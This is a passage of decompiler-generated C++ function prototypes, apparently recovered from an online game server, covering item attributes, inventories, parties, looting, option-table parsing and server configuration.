char __thiscall ItemAttrCls_Riding::iac_GetDuringRide(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itemstruct); void __thiscall ItemAttrCls_Riding::iac_SetDuringRide(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itemstruct, char ride); int __cdecl upgradeselect(ShineReward *reward); void __thiscall ItemAttrCls_DwrdLot::iac_itemcreate(ItemAttrCls_DwrdLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_WordLot::iac_itemcreate(ItemAttrCls_QuestLot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_Amulet::iac_itemcreate(ItemAttrCls_Amulet *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_Weapon::iac_itemcreate(ItemAttrCls_Weapon *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_Armor::iac_itemcreate(ItemAttrCls_Boot *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); void __thiscall ItemAttrCls_ByteLot::iac_itemcreate(ItemAttrCls_Enchant *this, unsigned __int16 itmid, ShineReward *reward, ItemTotalInformation *itm); int __thiscall ItemAttributeClass::iac_equipbriefinfo(ItemAttributeClass *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); int __thiscall ItemAttrCls_Amulet::iac_equipbriefinfo(ItemAttrCls_Amulet *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); int __thiscall ItemAttrCls_Weapon::iac_equipbriefinfo(ItemAttrCls_Weapon *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); int __thiscall ItemAttrCls_Shield::iac_equipbriefinfo(ItemAttrCls_Boot *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); int __thiscall ItemAttrCls_CostumWeapon::iac_equipbriefinfo(ItemAttrCls_CostumWeapon *this, unsigned __int16 hnd, NETCOMMAND *nc, SHINE_ITEM_STRUCT *itm, int slot, unsigned __int16 *pOutNew_WT_MobID, char *pOutNew_WT_TitleLevel); void __thiscall ItemAttrCls_Enchant::iac_DropItemMake(ItemAttrCls_Enchant *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); void __thiscall ItemAttrCls_WordLot::iac_DropItemMake(ItemAttrCls_WordLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); void __thiscall ItemAttrCls_DwrdLot::iac_DropItemMake(ItemAttrCls_DwrdLot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); void __thiscall ItemAttrCls_Weapon::iac_DropItemMake(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); void __thiscall ItemAttrCls_Armor::iac_DropItemMake(ItemAttrCls_Boot *this, ItemTotalInformation *itm, DropItemStruct::ItemGroup *ig, int rnd1000); int __thiscall ItemAttributeClass::iac_wptitle_Setlicense(ItemAttributeClass *this, ItemTotalInformation *itm, unsigned __int16 mobid, Name4 *pcharid); int __thiscall ItemAttrCls_Weapon::iac_wptitle_Setlicense(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned __int16 mobid, Name4 *pcharid); unsigned int __thiscall ItemAttrCls_Weapon::iac_wptitle_mobkilladd(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned __int16 mobid, unsigned int addvalue); char (*__thiscall ItemAttributeClass::iac_wptitle_Gettitle(ItemAttributeClass *this, ItemTotalInformation *itm))[17]; char (*__thiscall ItemAttrCls_Weapon::iac_wptitle_Gettitle(ItemAttrCls_Weapon *this, ItemTotalInformation *itm))[17]; bool __thiscall ItemAttrCls_Weapon::iac_wptitle_Settitle(ItemAttrCls_Weapon *this, ItemTotalInformation *itm, unsigned int chrregnum, char (*ptitle)[17]); void __thiscall ItemAttrCls_Riding::iac_FoodEat(ItemAttrCls_Riding *this, ItemTotalInformation *itm, int hungry, int maxhungry); int __thiscall ItemAttrCls_Riding::iac_GetHungry(ItemAttrCls_Riding *this, ItemTotalInformation *itm); unsigned __int16 __thiscall ItemAttributeClass::iac_wptitle_Getlicencemob(ItemAttributeClass *this, MobDataBox *mdb, ItemDataBox *idb, ItemTotalInformation *itm); unsigned __int16 __thiscall ItemAttrCls_WeaponTitlaLicence::iac_wptitle_Getlicencemob(ItemAttrCls_WeaponTitlaLicence *this, MobDataBox *mdb, ItemDataBox *idb, ItemTotalInformation *itm); void __thiscall ItemAttrCls_Furniture::iac_SetFurnitureKey(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, unsigned __int16 key); int __thiscall ItemAttrCls_Furniture::iac_SetEndureEndTime(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, ShineDateTime *dEndureEndTime); int __thiscall ItemAttrCls_Furniture::iac_SetEndureEndTime(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, unsigned __int16 nAddEndureTime, unsigned __int16 nMaxEndure, tm *dCurTime); void __thiscall ItemAttrCls_Furniture::iac_SetEndureGrade(ItemAttrCls_Furniture *this, ItemTotalInformation *iti, char nEndureGrade); SHINE_PUT_ON_BELONGED_ITEM __thiscall ItemAttrCls_Weapon::iac_GetIsPutOnBelonged(ItemAttrCls_Boot *this, ItemTotalInformation *iti); SHINE_PUT_ON_BELONGED_ITEM __thiscall ItemAttrCls_Decoration::iac_GetIsPutOnBelonged(ItemAttrCls_Decoration *this, ItemTotalInformation *iti); SHINE_PUT_ON_BELONGED_ITEM __thiscall ItemAttrCls_Riding::iac_GetIsPutOnBelonged(ItemAttrCls_Riding *this, ItemTotalInformation *iti); int __thiscall ItemAttrCls_Weapon::iac_SetIsPutOnBelonged(ItemAttrCls_Boot *this, ItemTotalInformation *iti, SHINE_PUT_ON_BELONGED_ITEM IsPutOnBelonged); int __thiscall ItemAttrCls_Amulet::iac_SetIsPutOnBelonged(ItemAttrCls_Decoration *this, ItemTotalInformation *iti, SHINE_PUT_ON_BELONGED_ITEM IsPutOnBelonged); int __thiscall ItemAttrCls_Riding::iac_SetIsPutOnBelonged(ItemAttrCls_Riding *this, ItemTotalInformation *iti, SHINE_PUT_ON_BELONGED_ITEM IsPutOnBelonged); int __thiscall ItemAttributeClass::iac_FindOption(ItemAttributeClass *this, SHINE_ITEM_STRUCT *itm, RandomOptionType optiontype); void __thiscall ItemAttrCls_Amulet::iac_ItemKetSet(ItemAttrCls_Amulet *this, ItemTotalInformation *itm); void __thiscall ItemAttrCls_Weapon::iac_ItemKetSet(ItemAttrCls_Weapon *this, ItemTotalInformation *itm); void __thiscall ItemAttrCls_Armor::iac_ItemKetSet(ItemAttrCls_Boot *this, ItemTotalInformation *itm); ShineDateTime *__thiscall ItemAttrCls_ActionItem::iac_SetDeteleDateTime(ItemAttrCls_ActionItem *this, SHINE_ITEM_STRUCT *itm, int hour, tm *curtime, int curhour); ShineDateTime *__thiscall ItemAttrCls_Riding::iac_SetDeteleDateTime(ItemAttrCls_Riding *this, SHINE_ITEM_STRUCT *itm, int hour, tm *curtime, int curhour); void __thiscall ItemAttributeClassContainer::ItemAttributeClassContainer(ItemAttributeClassContainer *this); void __thiscall ItemAttributeClassContainer::_ItemAttributeClassContainer(ItemAttributeClassContainer *this); ShineDateTime *__thiscall ItemAttrCls_Capsule::iac_SetUseableDateTime(ItemAttrCls_Capsule *this, SHINE_ITEM_STRUCT *itm, int hour, tm *curtime, int curhour); char *__thiscall ItemAttrCls_Amulet::iac_fill2buffer(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Weapon::iac_fill2buffer(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Shield::iac_fill2buffer(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Amulet::iac_fill2struct(ItemAttrCls_Amulet *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Weapon::iac_fill2struct(ItemAttrCls_Weapon *this, SHINE_ITEM_STRUCT *itm, char *buffer); char *__thiscall ItemAttrCls_Shield::iac_fill2struct(ItemAttrCls_Boot *this, SHINE_ITEM_STRUCT *itm, char *buffer); unsigned int __thiscall ItemAttrCls_Amulet::iac_GetAttrSize(ItemAttrCls_Amulet *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_Weapon::iac_GetAttrSize(ItemAttrCls_Weapon *this, SHINE_ITEM_ATTRIBUTE *itmattr); unsigned int __thiscall ItemAttrCls_Armor::iac_GetAttrSize(ItemAttrCls_Boot *this, SHINE_ITEM_ATTRIBUTE *itmattr); void __thiscall ItemAttributeClass::iac_itemcreate(ItemAttributeClass *this, unsigned __int16 itmid, ItemTotalInformation *itm, char *arg); char *__thiscall ItemTotalInformation::iti_fill2buffer_union(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer); char *__thiscall ItemTotalInformation::iti_fill2buffer_atrib(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer); void __thiscall ItemTotalInformation::iti_mkregnum(ItemTotalInformation *this, unsigned __int16 id, int method, int zone, int world); char *__thiscall ItemTotalInformation::iti_fill2buffer_whole(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer); char *__thiscall ItemTotalInformation::iti_fill2struct_whole(ItemTotalInformation *this, ItemAttributeClass *iac, unsigned __int16 itmid, char *buffer); void __thiscall ItemBelongAttribute::ItemBelongAttribute(ItemBelongAttribute *this); void __thiscall ItemBelongAttribute::_ItemBelongAttribute(ItemBelongAttribute *this); BelongTypeInfo *__thiscall ItemBelongAttribute::IA_GetBelongTypeInfo(ItemBelongAttribute *this, E_BelongType idx); E_BelongType __thiscall ItemBelongAttribute::operator__(ItemBelongAttribute *this, ItemTotalInformation *iti); int __thiscall ItemBelongAttribute::iba_Judge(ItemBelongAttribute *this, int (__thiscall *judge)(CItemAuthorityBase *this, E_BelongType, SHINE_PUT_ON_BELONGED_ITEM), ItemInventoryCell *iic); int __thiscall ItemBelongAttribute::iba_CanInvenReloc(ItemBelongAttribute *this, ItemInventoryCell *iic, unsigned __int16 FromInven, unsigned __int16 ToInven); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryData *__thiscall ItemDataBox::__unnamed::__unnamed(BinaryData *this); void __thiscall ItemDataBox::__unnamed::___unnamed(BinaryData *this); bool __thiscall ItemDataBox::ReadData(ItemDataBox *this, char *pdatafn); void __thiscall ItemDataBox::_ItemDataBox(ItemDataBox *this); void __thiscall ItemDataBox::idb_Load(ItemDataBox *this); void *__thiscall ItemBelongAttribute::_scalar_deleting_destructor_(ItemBelongAttribute *this, unsigned int); void __thiscall ItemBelongAttribute::iba_Load(ItemBelongAttribute *this); void __thiscall ItemDataBox::ItemDataBox(ItemDataBox *this, char *pdatafn, bool bCheckAndRead); ItemBag *__thiscall CharacterInventoryManager::cim_inven(CharacterInventoryManager *this, CharacterInventory *ci); ItemBag *__thiscall CharacterInventoryManager::cim_quest(CharacterInventoryManager *this, CharacterInventory *ci); ItemBag *__thiscall CharacterInventoryManager::cim_minihouse(CharacterInventoryManager *this, CharacterInventory *ci); int __thiscall ItemBag::ib_ItemCount_Output(ItemBag *this); int __thiscall ItemBag::ib_GetItemLot(ItemBag *this, unsigned __int16 nItemID); char __thiscall ItemBoxIterator::ibi_Next(ItemBoxIterator *this); ItemInventoryCell *__thiscall ItemBoxIterator::ibi_GetCell(ItemBoxIterator *this); void __thiscall ItemBag::_ItemBag(ItemBag *this); void __thiscall ItemInventoryCell::iic_StoreItem(ItemInventoryCell *this, ItemTotalInformation *itemtemp); void __thiscall ItemInventory::_ItemInventory(ItemInventory *this); ItemInventoryCell *__thiscall ItemInventory::ib_GetInventoryCell(ItemRewardStorage *this, int slot); int __thiscall ItemInventory::ib_BagSizeInput(ItemInventory *this, ChargedEffectContainer *cec); int __thiscall ItemInventory::ib_BagSizeOutput(ItemInventory *this); void __thiscall ItemEquipment::_ItemEquipment(ItemEquipment *this); int __thiscall ItemEquipment::ib_BagSizeInput(ItemEquipment *this, ChargedEffectContainer *cec); int __thiscall ItemEquipment::ib_BagSizeOutput(ItemEquipment *this); char __thiscall ShineObjectClass::ShineBandit::so_ObjectType(ItemEquipment *this); void __thiscall ItemQuestItemBox::_ItemQuestItemBox(ItemQuestItemBox *this); int __thiscall ItemQuestItemBox::ib_BagSizeInput(ItemQuestItemBox *this, ChargedEffectContainer *cec); char __thiscall ShineObjectClass::ShineDoor::so_ObjectType(ItemQuestItemBox *this); void __thiscall ItemAccountStorage::_ItemAccountStorage(ItemAccountStorage *this); int __thiscall ItemAccountStorage::ib_BagSizeInput(ItemAccountStorage *this, ChargedEffectContainer *cec); int __thiscall ItemAccountStorage::ib_BagSizeOutput(ItemAccountStorage *this); char __thiscall ItemAccountStorage::ib_GetInvenType(ItemAccountStorage *this); void __thiscall ItemMiniHouseBox::_ItemMiniHouseBox(ItemMiniHouseBox *this); int __thiscall ItemMiniHouseBox::ib_BagSizeInput(ItemMiniHouseBox *this, ChargedEffectContainer *cec); int __thiscall ItemMiniHouseBox::ib_BagSizeOutput(ItemMiniHouseBox *this); char __thiscall ItemMiniHouseBox::ib_GetInvenType(ItemMiniHouseBox *this); void __thiscall ItemGuildStorage::_ItemGuildStorage(ItemGuildStorage *this); int __thiscall ItemGuildStorage::ib_BagSizeOutput(ItemGuildStorage *this); char __thiscall ItemGuildStorage::ib_GetInvenType(ItemGuildStorage *this); void __thiscall ItemGuildAcademyRewardStorage::_ItemGuildAcademyRewardStorage(ItemGuildAcademyRewardStorage *this); int __thiscall ItemGuildAcademyRewardStorage::ib_BagSizeInput(ItemGuildAcademyRewardStorage *this, ChargedEffectContainer *cec); int __thiscall ItemGuildAcademyRewardStorage::ib_BagSizeOutput(ItemGuildAcademyRewardStorage *this); void __thiscall ItemFurnicherBox::_ItemFurnicherBox(ItemFurnicherBox *this); int __thiscall ItemFurnicherBox::ib_BagSizeInput(ItemFurnicherBox *this, ChargedEffectContainer *cec); int __thiscall ItemFurnicherBox::ib_BagSizeOutput(ItemFurnicherBox *this); char __thiscall ItemFurnicherBox::ib_GetInvenType(ItemFurnicherBox *this); void __thiscall ItemInform_ActionItem::sii_Clear(ItemInform_ActionItem *this); ShineDateTime *__thiscall ItemInform_ActionItem::sii_GetDeteleDateTime(ItemInform_ActionItem *this); void __thiscall ItemInform_ActionItem::sii_Import(ItemInform_ActionItem *this, ItemTotalInformation *iti); void __thiscall ItemInform_ActionItem::sii_Export(ItemInform_ActionItem *this, ItemTotalInformation *iti); void __thiscall ItemRewardStorage::_ItemRewardStorage(ItemRewardStorage *this); void __thiscall ItemBag::ib_InitializeAsNumber(ItemBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype); void __thiscall ItemBoxIterItemRegNo::ItemBoxIterItemRegNo(ItemBoxIterItemRegNo *this, ItemBag *ib, SHINE_ITEM_REGISTNUMBER Regno, ChargedEffectContainer *cec); void __thiscall ItemBoxIterator::_ItemBoxIterator(ItemBoxIterItemRegNo *this); char __thiscall ItemBoxIterItemRegNo::ibi_isvalid(ItemBoxIterItemRegNo *this); void __thiscall ItemSmallBag::_ItemSmallBag(ItemSmallBag *this); int __cdecl ItemBag::ib_InitStateCell(); void __thiscall ItemBag::ib_Initializetotal(ItemBag *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int inventype); int __thiscall ItemAccountStorage::ias_FillBufferItem(ItemAccountStorage *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, const char *charid, int from, int to); int __thiscall CharacterInventory::ci_FillBufferInventoryItem(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr, int box, int *from, int buffersize, ItemBag *bag); int __thiscall CharacterInventory::ci_FillBufferItem(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr); int __thiscall CharacterInventory::ci_FillBufferInventoryTotal(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr, int box, int *from, int buffersize); int __thiscall CharacterInventory::ci_FillBufferTotal(CharacterInventory *this, char *itemcounter, PROTO_ITEMPACKET_TOTAL *itmarr); void __thiscall ItemBag::ib_clear(ItemBag *this); void __thiscall ItemInventoryCell::ItemInventoryCell(ItemInventoryCell *this); void __thiscall ItemInventory::ItemInventory(ItemInventory *this); void __thiscall ItemEquipment::ItemEquipment(ItemEquipment *this); void __thiscall ItemQuestItemBox::ItemQuestItemBox(ItemQuestItemBox *this); void __thiscall ItemAccountStorage::ItemAccountStorage(ItemAccountStorage *this); void __thiscall ItemMiniHouseBox::ItemMiniHouseBox(ItemMiniHouseBox *this); void __thiscall ItemGuildStorage::ItemGuildStorage(ItemGuildStorage *this); void __thiscall ItemGuildAcademyRewardStorage::ItemGuildAcademyRewardStorage(ItemGuildAcademyRewardStorage *this); void __thiscall ItemFurnicherBox::ItemFurnicherBox(ItemFurnicherBox *this); void __thiscall ItemActionItemBox::ItemActionItemBox(ItemActionItemBox *this); int __thiscall ItemActionItemBox::isb_BagSizeInput(ItemActionItemBox *this, ChargedEffectContainer *cec); int __thiscall ItemActionItemBox::isb_BagSizeOutput(ItemActionItemBox *this); ItemInventorySmallCell *__thiscall ItemActionItemBox::isb_GetInventoryCell(ItemActionItemBox *this, int slot); void __thiscall ItemActionItemBox::_ItemActionItemBox(ItemActionItemBox *this); void __thiscall ItemRewardStorage::ItemRewardStorage(ItemRewardStorage *this); int __thiscall ItemRewardStorage::irs_FillBufferItem(ItemRewardStorage *this, char *itemcounter, PROTO_ITEMPACKET_INFORM *itmarr); int __thiscall MobDataBox::mdb_SpeciesDistance(MobDataBox *this, unsigned __int16 mobA, unsigned __int16 mobB); bool __thiscall MobDataBox::mdb_IsSpeciesDistanceByQuest(MobDataBox *this, unsigned __int16 mobA, unsigned __int16 mobB, char TatgetGroup); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryData *__thiscall MobDataBox::__unnamed::__unnamed(BinaryData *this); void __thiscall MobDataBox::__unnamed::___unnamed(BinaryData *this); void __thiscall MobDataBox::_MobDataBox(MobDataBox *this); void __thiscall MobDataBox::mdb_Load(MobDataBox *this); void __thiscall MobDataBox::mdb_SkillStore(MobDataBox *this, BTree *skillbtree, BTree *abstrbtree); bool __thiscall MobDataBox::mdb_CanIKill(MobDataBox *this, unsigned __int16 mobID, MobKillerIdentity identity); void __thiscall MobDataBox::MobDataBox(MobDataBox *this, char *pdatafn); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MobResistTable::MobResistTable(MobResistTable *this); void __thiscall MobResistTable::mrt_Load(MobResistTable *this); MobResist *__thiscall MobResistTable::operator__(MobResistTable *this, unsigned __int16 idx); unsigned __int16 __thiscall MobResistTable::operator__(MobResistTable *this, char *index); LOOTING_TYPE __thiscall CLooting::GetItemLootingTypeConVert(CLooting *this, ItemInfo *pkInfo); bool __thiscall CLooting::SetItemLootingType(CLooting *this, ITEM_LOOT_TYPE gradetype, LOOTING_TYPE LootingType); void __thiscall CLooting::reset(CLooting *this); unsigned int __thiscall CLooting::GetLooter(CLooting *this); void __thiscall CLooting::SetLooter(CLooting *this, unsigned int val); bool __thiscall CParty::PARTY_SLOT::isEmptyParty(CParty::PARTY_SLOT *this); unsigned __int16 __thiscall CParty::GetEmptyParty(CParty *this); int __thiscall CParty::IsValidPartyNo(CParty *this, int nPartyNo); void __thiscall CParty::PartyDelete(CParty *this, unsigned __int16 nPartyNo); unsigned __int16 __thiscall CParty::PartyGetNo(CParty *this, unsigned int nCharNo); CParty::PARTY_WORK_RESULT __thiscall CParty::CreateRaidParty(CParty *this, unsigned __int16 *rPartyNo); int __thiscall CParty::MemberGetNo(CParty *this, unsigned __int16 nPartyNo, unsigned int nCharNo); bool __thiscall CParty::IsItemDiceGameIng(CParty *this, unsigned __int16 nPartyNo); void __thiscall CParty::SetItemDiceGameMode(CParty *this, unsigned __int16 nPartyNo, bool IsMode); int __thiscall CParty::IsPartyMaster(CParty *this, unsigned __int16 nPartyNo, unsigned int nCharNo); CParty::PARTY_SLOT *__thiscall CParty::p_defaultslot(CParty *this); CParty::PARTY_SLOT *__thiscall CParty::operator__(CParty *this, unsigned __int16 prt); void __thiscall CLooting::CLooting(CLooting *this); int __thiscall PROTO_PARTY_MEMBER_AND_ZONEMERCHINE::operator_(int this, int a2); unsigned __int16 __thiscall CParty::MemberJoin(CParty *this, unsigned __int16 nPartyNo, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMember); void __thiscall CParty::PARTY_SLOT::PARTY_MEMBER_SLOT::PARTY_MEMBER_SLOT(CParty::PARTY_SLOT::PARTY_MEMBER_SLOT *this); int __thiscall CParty::PARTY_SLOT::PARTY_MEMBER_SLOT::operator_(int this, int a2); unsigned __int16 __thiscall CParty::MemberJoin(CParty *this, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMaster, PROTO_PARTY_MEMBER_AND_ZONEMERCHINE *pMember, unsigned __int16 nPartyNo); int __thiscall CParty::MemberLeave(CParty *this, unsigned __int16 nPartyNo, unsigned int LeaveMember); int __thiscall CParty::MemberSetMaster(CParty *this, unsigned __int16 nPartyNo, unsigned int NewMaster); bool __thiscall CParty::SwapPartyMember(CParty *this, unsigned __int16 nPartyNo_Left, int nSlotNo_Left, unsigned __int16 nPartyNo_Right, int nSlotNo_Right); void __thiscall CParty::PARTY_SLOT::PARTY_SLOT(CParty::PARTY_SLOT *this); void __thiscall CParty::PARTY_SLOT::_PARTY_SLOT(CParty::PARTY_SLOT *this); void *__thiscall CParty::PARTY_SLOT::operator_(void *this, int a2); void __thiscall CParty::Init(CParty *this); void __thiscall CParty::CParty(CParty *this); char __thiscall ORTable::ort_ReadColumnHeader(ORTable *this, ORTokenReader *token, TokenArgument *targ); void __thiscall TokenArgument::_TokenArgument(TokenArgument *this); void __thiscall OptionReader::or_ClearError(OptionReader *this); int __thiscall OptionReader::or_ErrorLine(OptionReader *this); char *__thiscall OptionReader::or_ErrorString(OptionReader *this); char __thiscall OptionReader::or_ExecColumnName(OptionReader *this, ORTokenReader *token); char __thiscall OptionReader::or_ExecColumnType(OptionReader *this, ORTokenReader *token); void __thiscall List::_List(List *this); char __thiscall List::l_PopA(List *this, ORRecord *ele); char __thiscall List::l_PopZ(List *this, ORRecord *ele); void __thiscall List::_List(List *this); char __thiscall OptionReader::or_ExecTable(OptionReader *this, ORTokenReader *token); void __thiscall ListArray::_ListArray(ListArray *this); char __thiscall List::l_PushA(List *this, ORRecord *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PushZ(List *this, ORRecord *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak void __thiscall ORTable::_ORTable(ORTable *this); char __thiscall List::l_PushA(List *this, ORTable *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall ORTable::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, ORTable *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, ORTable *ele); char __thiscall List::l_PopZ(List *this, ORTable *ele); void __thiscall List::l_Clear(List *this); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall OptionReader::_OptionReader(OptionReader *this); void __thiscall List::List(List *this, ListArray *array); void __thiscall ORTable::ORTable(ORTable *this); // void __thiscall OptionReader::OptionReader(OptionReader *this); char __thiscall OptionReader::or_Read(OptionReader *this, char *filename); char __thiscall MakePrimaryKeyColumn::lid_Call(MakePrimaryKeyColumn *this, ORField *ele, unsigned __int16 handle); char __thiscall OrderArgument::lid_Call(OrderArgument *this, ORRecord *ele, unsigned __int16 handle); char __thiscall ColumnCheckArgument::lid_Call(ColumnCheckArgument *this, ORField *ele, unsigned __int16 handle); char __thiscall TargetColumnFindArgument::lid_Call(TargetColumnFindArgument *this, ORField *ele, unsigned __int16 handle); char __thiscall TableNameCompareArgument::lid_Call(TableNameCompareArgument *this, ORTable *ele, unsigned __int16 handle); void __thiscall ORColumnHeader::_ORColumnHeader(ORColumnHeader *this); ORToken *__thiscall ORColumnHeader::orch_GetColumnName(ORColumnHeader *this); int __thiscall ORColumnHeader::ortr_SetLength(ORColumnHeader *this, ORTokenReader *token, TokenArgument *targ); char __thiscall ORColumnHeader::orch_FillCell(ORColumnHeader *this, ORTokenReader *token, ORRecord *datarecord); int __thiscall ORColumnHeaderString::ortr_SetLength(ORColumnHeaderString *this, ORTokenReader *token, TokenArgument *targ); void __thiscall ORColumnHeaderList::ORColumnHeaderList(ORColumnHeaderList *this); ORColumnHeader *__thiscall ORColumnHeaderList::orchl_AllocObject(ORColumnHeaderList *this, unsigned __int16 *hnd, unsigned __int16 type); char __thiscall ORRecord::orr_4AllInList(ORRecord *this, ListIteratorDefault *arg); char __thiscall MakePrimaryKey::lid_Call(MakePrimaryKey *this, ORRecord *ele, unsigned __int16 handle); char __thiscall ColumnNameArgument::lid_Call(ColumnNameArgument *this, ORColumnHeader *ele, unsigned __int16 handle); char __thiscall DataRecordArgument::lid_Call(DataRecordArgument *this, ORColumnHeader *ele, unsigned __int16 handle); char __thiscall RecordDataCompareArgument::lid_Call(RecordDataCompareArgument *this, ORRecord *ele, unsigned __int16 handle); void __thiscall ORColumnHeaderList::_ORColumnHeaderList(ORColumnHeaderList *this); char __thiscall ORTable::ort_MakePrimaryKey(ORTable *this, char *column); char __thiscall ORTable::ort_ReadColumnName(ORTable *this, ORTokenReader *token); void *__thiscall ORRecord::orr_GetFieldData(ORRecord *this, char *targetcolumn, int *type); void *__thiscall ORTable::ort_FindData(ORTable *this, char *column, char *content, char *targetcolumn, int skip, int *type); void *__thiscall ORTable::ort_RecordBuffer(ORTable *this, int order); void *__thiscall ORTable::ort_RecordBuffer(ORTable *this, char *column, char *content, int skip); void *__thiscall OptionReader::or_SelectFromOrder(OptionReader *this, ORToken table, int order); void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *key, int *type); void *__thiscall OptionReader::or_SelectFrom(OptionReader *this, ORToken table, char *column, char *content, int skip); void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *column, char *content, int skip, int *type); char __thiscall OptionReader::or_MakePrimaryKey(OptionReader *this, ORToken table, char *column); int __thiscall OptionReader::or_SelectCount(OptionReader *this); char __thiscall List::l_Enlargement(List *this, int extsize); char __thiscall ORTable::ort_ReadData(ORTable *this, ORTokenReader *token); char __thiscall OptionReader::or_ExecRecordIn(OptionReader *this, ORTokenReader *token); char __thiscall OptionReader::or_ExecRecord(OptionReader *this, ORTokenReader *token); void *__thiscall OptionReader::or_SelectFrom(OptionReader *this, ORToken table, char *column, int content, int skip); void *__thiscall OptionReader::or_Select(OptionReader *this, char *targetcolumn, ORToken table, char *column, int content, int skip, int *type); int __thiscall OptionReader::or_SelectCountFrom(OptionReader *this, ORToken table); void __thiscall CServerInfo::CServerInfo(CServerInfo *this); int __thiscall CServerInfo::ReadServerInfo(CServerInfo *this, char *pFN); int __thiscall CServerInfo::GetNumOfData(CServerInfo *this); int __thiscall CServerInfo::GetMyServerInfo(CServerInfo *this, CServerInfo::MY_SERVER *pMyServer); int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ScriptorDataIndex); int __thiscall CServerInfo::GetServerIndex(CServerInfo *this, int ServerID, int WorldNo, int ZoneNo, int ServerIDFrom); int __thiscall CServerInfo::GetServerIndex(CServerInfo *this, int ServerID, int WorldNo, int ZoneNo); int __thiscall CServerInfo::GetNationName(CServerInfo 